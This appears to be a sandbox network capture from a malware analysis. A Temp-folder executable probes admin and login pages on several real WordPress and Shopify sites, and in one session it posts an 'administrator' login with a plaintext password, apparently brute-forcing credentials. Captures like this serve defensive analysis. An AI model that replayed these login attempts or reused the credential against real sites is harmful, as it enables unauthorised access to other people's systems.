2023-12-20 02:13:41 UTC	831	IN	Data Raw: 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 2d 50 65 72 6d 69 74 74 65 64 2d 43 72 6f 73 73 2d 44 6f 6d 61 69 6e 2d 50 6f 6c 69 63 69 65 73 3a 20 6e 6f 6e 65 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 3b 20 72 65 70 6f 72 74 3d 2f 78 73 73 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 69 6e 64 65 78 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 61 64 6d 69 6e 25 32 46 68 6f 6d 65 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e 25 35 44 3d 61 64 6d 69 6e 26 73 6f 75 72 63 65 25 35 42 75 75 69 64 25 35 44 3d 35 61 63 36 37 63 Data Ascii: X-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=5ac67c
2023-12-20 02:13:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.4	53780	15.197.192.55	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	381	OUT	GET /admin/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_G9yhBA6DCtNNuLpPi6dZ+GkxMl11oYXEVAjf0ZZnwqfdBvdvTt41tJxjQcKUnsKgcyfKtdnsLEIng1Yr1SjJ/w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:41 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.4	53789	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php Content-Length: 145 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:41 UTC	145	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 4a 41 55 30 30 33 37 34 39 25 32 33 25 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=JAU003749%23%23&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftwohillsstudio.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:41 UTC	283	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:41 GMT Server: Apache Location: https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:41 UTC	299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 67 69 2d 73 79 73 2e 73 65 72 76 65 72 32 39 34 2e 63 6f 6d 2f 76 65 72 69 66 79 72 65 71 75 65 73 74 2e 70 68 70 3f 69 70 3d 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 26 61 6d 70 3b 73 69 67 3d 66 62 32 39 34 33 34 65 63 34 65 66 31 62 31 61 62 66 30 63 37 66 34 61 39 36 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://cgi-sys.server294.com/verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a965

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	53707	87.98.154.146	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	178	OUT	GET /admin.php HTTP/1.1 Host: www.plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache X-Powered-By: PHP/7.0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.plastikolor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:41 UTC	5466	IN	Data Raw: 34 35 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 38 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 Data Ascii: 453<!DOCTYPE html><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"> <link rel="icon" href="/wp-content/uploads/2017/08/favicon.ico" type="image/x-icon" />
2023-12-20 02:13:41 UTC	4191	IN	Data Raw: 31 30 35 37 0d 0a 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 66 72 5f 46 52 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 6e 20 74 72 6f 75 76 c3 a9 65 20 2d 20 50 6c 61 73 74 69 4b 6f 6c 6f 72 26 23 30 33 39 3b 41 63 74 69 6f 6e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 6c 61 73 74 69 4b 6f 6c 6f 72 26 23 30 33 39 3b 41 63 74 69 6f 6e 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 Data Ascii: 1057ntent="noindex, follow" /><meta property="og:locale" content="fr_FR" /><meta property="og:title" content="Page non trouve - PlastiKolor'Action" /><meta property="og:site_name" content="PlastiKolor'Action" /><script type="applicat
2023-12-20 02:13:42 UTC	2896	IN	Data Raw: 33 32 65 30 0d 0a 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 30 2e 77 70 2e 63 6f 6d 2f 63 2f 35 2e 35 2e 31 33 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 68 61 73 2d Data Ascii: 32e0important;}</style><link rel='stylesheet' id='wp-block-library-css' href='https://c0.wp.com/c/5.5.13/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' /><style id='wp-block-library-inline-css' type='text/css'>.has-
2023-12-20 02:13:42 UTC	4344	IN	Data Raw: 61 63 74 2d 66 6f 72 6d 2d 37 2d 74 72 61 63 6b 65 72 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 64 75 72 61 63 65 6c 6c 74 6f 6d 69 2d 67 6f 6f 67 6c 65 2d 74 61 67 2d 6d 61 6e 61 67 65 72 2f 6a 73 2f 67 74 6d 34 77 70 2d 66 6f 72 6d 2d 6d 6f 76 65 2d 74 72 61 63 6b 65 72 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 31 27 20 69 64 3d 27 67 74 6d 34 77 70 2d 66 6f 72 6d 2d 6d 6f 76 65 2d 74 72 61 63 6b 65 72 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 Data Ascii: act-form-7-tracker-js'></script><script type='text/javascript' src='https://www.plastikolor.com/wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-form-move-tracker.js?ver=1.13.1' id='gtm4wp-form-move-tracker-js'></script><script type='text/ja
2023-12-20 02:13:42 UTC	4344	IN	Data Raw: 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 3d 27 64 61 74 61 4c 61 79 65 72 27 3f 27 26 6c 3d 27 2b 6c 3a 27 27 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 6a 2e 73 72 63 3d 0a 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 6d 2e 27 2b 27 6a 73 3f 69 64 3d 27 2b 69 2b 64 6c 3b 66 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6a 2c 66 29 3b 0a 7d 29 28 77 69 6e 64 Data Ascii: w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='//www.googletagmanager.com/gtm.'+'js?id='+i+dl;f.parentNode.insertBefore(j,f);})(wind
2023-12-20 02:13:42 UTC	1448	IN	Data Raw: 65 6d 65 73 2f 70 6c 61 73 74 69 6b 61 74 69 6f 6e 2f 69 6d 61 67 65 73 2f 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 2d 62 6c 61 63 6b 2d 73 68 61 70 65 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 65 31 22 3e 3c 61 20 68 72 65 66 3d 22 2f 70 61 6e 69 65 72 2f 22 3e 4d 6f 6e 20 70 61 6e 69 65 72 20 65 6e 20 63 6f 75 72 73 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: emes/plastikation/images/shopping-cart-black-shape.png" alt=""></div> <div class="texte"> <div><div class="texte1"><a href="/panier/">Mon panier en cours</a></div>
2023-12-20 02:13:42 UTC	1448	IN	Data Raw: 33 32 64 38 0d 0a 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 6e 61 76 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 2d 66 69 78 65 64 20 73 68 6f 77 46 69 78 65 64 2d 69 6e 6c 69 6e 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 Data Ascii: 32d8</a></div> </div> </div> <nav class="main-nav"> <div class="container"> <div class="logo-fixed showFixed-inline"><img src="https://www.plastikolor.com/wp-content/themes
2023-12-20 02:13:42 UTC	2896	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 69 65 2d 70 72 6f 64 75 69 74 2f 63 6f 6c 6f 72 61 74 69 6f 6e 2f 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 63 2f 6e 65 74 74 6f 79 61 6e 74 2d 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 63 2f 22 3e 4e 65 74 74 6f 79 61 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 69 65 2d 70 72 6f 64 75 69 74 2f 63 6f 6c 6f 72 61 74 69 6f 6e 2f 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 61 6f 75 74 63 68 6f 75 63 2f 63 6f 6c 6f 72 61 74 69 6f 6e 2d 68 79 70 61 6c 6f 6e 2d 65 74 2d 63 Data Ascii: <a href="https://www.plastikolor.com/categorie-produit/coloration/hypalon-et-caoutchouc/nettoyant-hypalon-et-caoutchouc/">Nettoyant</a></li><li><a href="https://www.plastikolor.com/categorie-produit/coloration/hypalon-et-caoutchouc/coloration-hypalon-et-c
2023-12-20 02:13:42 UTC	1448	IN	Data Raw: 20 3c 2f 75 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 53 4f 4c 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 69 65 2d 70 72 6f 64 75 69 74 2f 70 65 69 6e 74 75 72 65 73 2f 70 65 69 6e 74 75 72 65 73 2d 73 6f 6c 2f 6e 65 74 74 6f 79 61 6e 74 2d 70 65 69 6e 74 75 72 65 2d 73 6f 6c 2f 22 3e 4e 65 74 74 6f 79 61 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 Data Ascii: </ul> </li><li><a href="#">SOL</a> <ul><li><a href="https://www.plastikolor.com/categorie-produit/peintures/peintures-sol/nettoyant-peinture-sol/">Nettoyant</a></li><li><a hr
2023-12-20 02:13:42 UTC	1448	IN	Data Raw: c3 a9 72 6f 73 6f 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 69 65 2d 70 72 6f 64 75 69 74 2f 70 65 69 6e 74 75 72 65 73 2f 6d 61 72 71 75 61 67 65 2d 73 6f 6c 2f 61 64 68 65 73 69 66 73 2d 6d 61 72 71 75 61 67 65 2d 73 6f 6c 2f 22 3e 41 64 68 c3 a9 73 69 66 73 3c 2f 61 3e 3c 2f 6c 69 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e Data Ascii: rosols</a></li><li><a href="https://www.plastikolor.com/categorie-produit/peintures/marquage-sol/adhesifs-marquage-sol/">Adhsifs</a></li> </ul> </li><li><a href="#">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	53802	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	181	OUT	GET /admin HTTP/1.1 Host: artusopastry.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	1341	IN	HTTP/1.1 303 See Other Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Cache-Control: no-store Location: https://artusopastry.myshopify.com/admin/auth/login Strict-Transport-Security: max-age=7889238 Server-Timing: processing;dur=22 X-Shopify-Stage: production Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; script-src https://cdn.shopify.com https://cdn.shopifycdn.net https://checkout.shopifycs.com https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://js.braintreegateway.com https://c.paypal.com https://maps.googleapis.com https://www.google-analytics.com https://v.shopify.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=e8eca8ec-9fb3-4c5b-9237-e481052cd2b2
2023-12-20 02:13:41 UTC	866	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 2d 50 65 72 6d 69 74 74 65 64 2d 43 72 6f 73 73 2d 44 6f 6d 61 69 6e 2d 50 6f 6c 69 63 69 65 73 3a 20 6e 6f 6e 65 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 3b 20 72 65 70 6f 72 74 3d 2f 78 73 73 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 69 6e 64 65 78 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 61 64 6d 69 6e 25 32 46 68 6f 6d 65 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e Data Ascii: X-Content-Type-Options: nosniffX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection
2023-12-20 02:13:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.4	53756	217.19.254.237	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	242	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	2427	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/; secure X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/wp-admin Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/wp-admin Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/wp-content/plugins Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/wp-content/plugins Set-Cookie: wordpress_logged_in_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_logged_in_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wp-settings-0=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wp-settings-time-0=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; 